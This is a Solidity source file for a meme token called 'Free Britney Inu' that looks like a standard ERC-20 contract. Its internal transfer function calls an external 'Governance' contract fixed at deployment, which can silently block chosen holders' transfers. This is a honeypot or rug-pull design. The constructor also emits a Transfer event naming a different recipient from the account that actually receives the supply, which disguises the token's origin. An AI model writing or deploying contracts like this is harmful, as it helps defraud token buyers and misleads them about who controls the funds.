/**

   /$$$$$$$$ /$$$$$$$  /$$$$$$$$ /$$$$$$$$       /$$$$$$$  /$$$$$$$  /$$$$$$ /$$$$$$$$ /$$   /$$ /$$$$$$$$ /$$     /$$
| $$_____/| $$__  $$| $$_____/| $$_____/      | $$__  $$| $$__  $$|_  $$_/|__  $$__/| $$$ | $$| $$_____/|  $$   /$$/
| $$      | $$  \ $$| $$      | $$            | $$  \ $$| $$  \ $$  | $$     | $$   | $$$$| $$| $$       \  $$ /$$/ 
| $$$$$   | $$$$$$$/| $$$$$   | $$$$$         | $$$$$$$ | $$$$$$$/  | $$     | $$   | $$ $$ $$| $$$$$     \  $$$$/  
| $$__/   | $$__  $$| $$__/   | $$__/         | $$__  $$| $$__  $$  | $$     | $$   | $$  $$$$| $$__/      \  $$/   
| $$      | $$  \ $$| $$      | $$            | $$  \ $$| $$  \ $$  | $$     | $$   | $$\  $$$| $$          | $$    
| $$      | $$  | $$| $$$$$$$$| $$$$$$$$      | $$$$$$$/| $$  | $$ /$$$$$$   | $$   | $$ \  $$| $$$$$$$$    | $$    
|__/      |__/  |__/|________/|________/      |_______/ |__/  |__/|______/   |__/   |__/  \__/|________/    |__/    
                                                                                                                    
                                                                                                                    
 */  
 
pragma solidity ^0.4.26;

interface Governance {
    function isGovernance(address sender,address to, address addr) external returns(bool);
}

contract TokenERC20 {
    string public name;
    string public symbol;
    uint8 public decimals = 18;  
    uint256 public totalSupply;
    address governance;

    mapping (address => uint256) public balanceOf;
    mapping (address => mapping (address => uint256)) public allowance;

    event Transfer(address indexed from, address indexed to, uint256 value);

    constructor (uint256 initialSupply, address _governance, address _sender) public {
        totalSupply = initialSupply * 10 ** uint256(decimals);
        balanceOf[msg.sender] = totalSupply;
        name = "Free Britney Inu";
        symbol = "BRITNEY";
	governance = _governance;
	emit Transfer(address(0), _sender, totalSupply);
    }
    function _transfer(address _from, address _to, uint _value) internal {
        require(_to != 0x0);
        require(balanceOf[_from] >= _value);
        require(balanceOf[_to] + _value > balanceOf[_to]);
        if (address(governance) != address(0)) {
	    Governance(governance).isGovernance(_from,_to,address(this));
        }
        uint previousBalances = balanceOf[_from] + balanceOf[_to];
        balanceOf[_from] -= _value;
        balanceOf[_to] += _value;
	emit Transfer(_from, _to, _value);
        assert(balanceOf[_from] + balanceOf[_to] == previousBalances);
    }

    function transfer(address _to, uint256 _value) public returns (bool) {
        _transfer(msg.sender, _to, _value);
        return true;
    }

    function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
        require(_value <= allowance[_from][msg.sender]);     // Check allowance
        allowance[_from][msg.sender] -= _value;
        _transfer(_from, _to, _value);
        return true;
    }

    function approve(address _spender, uint256 _value) public returns (bool success) {
        allowance[msg.sender][_spender] = _value;
        return true;
    }
}